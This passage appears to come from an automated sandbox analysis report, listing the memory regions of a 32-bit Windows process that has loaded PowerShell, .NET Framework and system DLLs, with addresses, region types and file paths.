"\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\2c3c912ea8f058f9d04c4650128feb3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll") Region: id = 1484 start_va = 0x63540000 end_va = 0x63d57fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\31fae3290fad30c31c98651462d22724\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll") Region: id = 1486 start_va = 0x634b0000 end_va = 0x6353efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pb378ec07#\\731848746c032af3ce33577b793c9b9c\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pb378ec07#\\731848746c032af3ce33577b793c9b9c\\microsoft.powershell.consolehost.ni.dll") Region: id = 1487 start_va = 0x73bc0000 end_va = 0x73bd6fff monitored = 0 entry_point = 0x73bc3573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1488 start_va = 0x790000 end_va = 0x7cbfff monitored = 0 entry_point = 0x79128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1489 start_va = 0x880000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 1493 start_va = 0x790000 end_va = 0x7cbfff monitored = 0 entry_point = 0x79128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1494 start_va = 0x790000 end_va = 0x7cbfff monitored = 0 entry_point = 0x79128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1495 start_va = 0x790000 end_va = 0x7cbfff monitored = 0 entry_point = 0x79128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1496 start_va = 0x790000 end_va = 0x7cbfff monitored = 0 entry_point = 0x79128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1497 start_va = 0x73b80000 end_va = 0x73bbafff monitored = 0 entry_point = 0x73b8128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1531 start_va = 0x619c0000 end_va = 0x634a2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\system.management.automation.ni.dll") Region: id = 1538 start_va = 0x790000 end_va = 0x7f1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 1552 start_va = 0xc00000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 1553 start_va = 0x42c0000 end_va = 0x42fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042c0000" filename = "" Region: id = 1554 start_va = 0x4530000 end_va = 0x456ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004530000" filename = "" Region: id = 1555 start_va = 0x4590000 end_va = 0x45cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004590000" filename = "" Region: id = 1556 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1557 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 1559 start_va = 0x65c60000 end_va = 0x65c72fff monitored = 1 entry_point = 0x65c6d900 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 1560 start_va = 0x45d0000 end_va = 0x48a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 1567 start_va = 0x609a0000 end_va = 0x610abfff monitored = 1 entry_point = 0x60fbf392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1572 start_va = 0x609a0000 end_va = 0x610abfff monitored = 1 entry_point = 0x60fbf392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1573 start_va = 0x60290000 end_va = 0x6099bfff monitored = 1 entry_point = 0x608af392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1574 start_va = 0x43e0000 end_va = 0x449ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1575 start_va = 0x44e0000 end_va = 0x451ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044e0000" filename = "" Region: id = 1576 start_va = 0x609a0000 end_va = 0x610abfff monitored = 1 entry_point = 0x60fbf392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1579 start_va = 0x755b0000 end_va = 0x761f9fff monitored = 0 entry_point = 0x75631601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1580 start_va = 0x2f0000 end_va = 0x2f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002f0000" filename = "" Region: id = 1591 start_va = 0x49b0000 end_va = 0x49effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049b0000" filename = "" Region: id = 1592 start_va = 0x4a20000 end_va = 0x4a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 1593 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 1594 start_va = 0x763a0000 end_va = 0x763cefff monitored = 0 entry_point = 0x763a2a35 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 1595 start_va = 0x768b0000 end_va = 0x769d0fff monitored = 0 entry_point = 0x768b158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1596 start_va = 0x766c0000 end_va = 0x766cbfff monitored = 0 entry_point = 0x766c238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1603 start_va = 0x76ca0000 end_va = 0x76ca4fff monitored = 0 entry_point = 0x76ca1438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1609 start_va = 0x2140000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 1610 start_va = 0x4ad0000 end_va = 0x4b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ad0000" filename = "" Region: id = 1611 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 1615 start_va = 0x300000 end_va = 0x307fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 1616 start_va = 0x2230000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 1617 start_va = 0x48f0000 end_va = 0x492ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048f0000" filename = "" Region: id = 1623 start_va = 0x65c50000 end_va = 0x65c57fff monitored = 0 entry_point = 0x65c53bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 1642 start_va = 0x4b10000 end_va = 0x4f0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b10000" filename = "" Region: id = 1643 start_va = 0x350000 end_va = 0x357fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 1644 start_va = 0x4b10000 end_va = 0x4f0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b10000" filename = "" Region: id = 1648 start_va = 0x4350000 end_va = 0x438ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 1649 start_va = 0x4940000 end_va = 0x497ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004940000" filename = "" Region: id = 1650 start_va = 0x65c30000 end_va = 0x65c45fff monitored = 0 entry_point = 0x65c313df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 1651 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 1657 start_va = 0x61020000 end_va = 0x610a3fff monitored = 0 entry_point = 0x610219a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 1658 start_va = 0x4b10000 end_va = 0x4c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b10000" filename = "" Region: id = 1659 start_va = 0x65bd0000 end_va = 0x65bd9fff monitored = 0 entry_point = 0x65bd4ab0 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 1660 start_va = 0x4b10000 end_va = 0x4c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b10000" filename = "" Region: id = 1661 start_va = 0x4c70000 end_va = 0x4c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c70000" filename = "" Region: id = 1674 start_va = 0x4a90000 end_va = 0x4acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a90000" filename = "" Region: id = 1675 start_va = 0x4ca0000 end_va = 0x4cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ca0000" filename = "" Region: id = 1676 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 1679 start_va = 0x300000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 1681 start_va = 0x60ef0000 end_va = 0x6101ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\e114780fd3ea5727401c06ea4f22ef35\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.management\\e114780fd3ea5727401c06ea4f22ef35\\system.management.ni.dll") Region: id = 1684 start_va = 0x60dc0000 end_va = 0x60eebfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\system.directoryservices.ni.dll") Region: id = 1686 start_va = 0x60630000 end_va = 0x60da3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\15af16d373cf0528cb74fc73d365fdbf\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll") Region: id = 1694 start_va = 0x60520000 end_va = 0x60624fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\96f7edb07b12303f0ec2595c7f3778c7\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll") Region: id = 1706 start_va = 0x350000 end_va = 0x350fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1707 start_va = 0x360000 end_va = 0x366fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1708 start_va = 0x350000 end_va = 0x350fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1709 start_va = 0x360000 end_va = 0x366fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1712 start_va = 0x350000 end_va = 0x350fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1713 start_va = 0x350000 end_va = 0x356fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1714 start_va = 0x350000 end_va = 0x350fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1715 start_va = 0x350000 end_va = 0x356fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1716 start_va = 0x350000 end_va = 0x350fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1717 start_va = 0x350000 end_va = 0x356fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1728 start_va = 0xc00000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 1729 start_va = 0x4c30000 end_va = 0x4c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c30000" filename = "" Region: id = 1730 start_va = 0x4ca0000 end_va = 0x4cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ca0000" filename = "" Region: id = 1731 start_va = 0x4d20000 end_va = 0x4d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d20000" filename = "" Region: id = 1732 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 1733 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 1748 start_va = 0x5fd00000 end_va = 0x60519fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data\\df2dd09ed7c341842a104e1e668f184e\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.data\\df2dd09ed7c341842a104e1e668f184e\\system.data.ni.dll") Region: id = 1751 start_va = 0x5f9a0000 end_va = 0x5fcf3fff monitored = 1 entry_point = 0x5fcd7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1758 start_va = 0x76200000 end_va = 0x76234fff monitored = 0 entry_point = 0x7620145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1759 start_va = 0x774b0000 end_va = 0x774b5fff monitored = 0 entry_point = 0x774b1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1760 start_va = 0x4d60000 end_va = 0x50b0fff monitored = 1 entry_point = 0x5097a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1761 start_va = 0x4d60000 end_va = 0x50b0fff monitored = 1 entry_point = 0x5097a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1768 start_va = 0x4d60000 end_va = 0x50b0fff monitored = 1 entry_point = 0x5097a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1769 start_va = 0x4d60000 end_va = 0x50b0fff monitored = 1 entry_point = 0x5097a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1772 start_va = 0x350000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 1777 start_va = 0x60db0000 end_va = 0x60db2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 1778 start_va = 0x5f910000 end_va = 0x5f998fff monitored = 1 entry_point = 0x5f911130 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 1779 start_va = 0x360000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 1782 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1785 start_va = 0x840000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 1786 start_va = 0x48b0000 end_va = 0x48effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048b0000" filename = "" Region: id = 1787 start_va = 0x4d70000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d70000" filename = "" Region: id = 1788 start_va = 0x4e10000 end_va = 0x4e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e10000" filename = "" Region: id = 1789 start_va = 0x7ef92000 end_va = 0x7ef94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 1790 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 1793 start_va = 0x5f8a0000 end_va = 0x5f8f3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\microsoft.powershell.security.ni.dll") Region: id = 1794 start_va = 0x4e70000 end_va = 0x4eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e70000" filename = "" Region: id = 1795 start_va = 0x4f30000 end_va = 0x4f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f30000" filename = "" Region: id = 1796 start_va = 0x7ef8f000 end_va = 0x7ef91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 1805 start_va = 0x5f7e0000 end_va = 0x5f897fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Transactions\\3d760b4a3260a41ef84a3fd866780980\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.transactions\\3d760b4a3260a41ef84a3fd866780980\\system.transactions.ni.dll") Region: id = 1813 start_va = 0x5f790000 end_va = 0x5f7dbfff monitored = 1 entry_point = 0x5f7afcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1815 start_va = 0x4570000 end_va = 0x45bbfff monitored = 1 entry_point = 0x458fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1824 start_va = 0x4570000 end_va = 0x45bbfff monitored = 1 entry_point = 0x458fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1825 start_va = 0x4570000 end_va = 0x45bbfff monitored = 1 entry_point = 0x458fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1826 start_va = 0x4570000 end_va = 0x45bbfff monitored = 1 entry_point = 0x458fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1830 start_va = 0x4ed0000 end_va = 0x4f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ed0000" filename = "" Region: id = 1831 start_va = 0x4f50000 end_va = 0x4f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f50000" filename = "" Region: id = 1832 start_va = 0x7ef8f000 end_va = 0x7ef91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 1838 start_va = 0x679a0000 end_va = 0x679a7fff monitored = 0 entry_point = 0x679a10e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 1840 start_va = 0x4e50000 end_va = 0x4ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e50000" filename = "" Region: id = 1854 start_va = 0x4ce0000 end_va = 0x4d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ce0000" filename = "" Region: id = 1855 start_va = 0x4ef0000 end_va = 0x4f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ef0000" filename = "" Region: id = 1856 start_va = 0x5f640000 end_va = 0x5f6bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.management.infrastructure.ni.dll" filename = 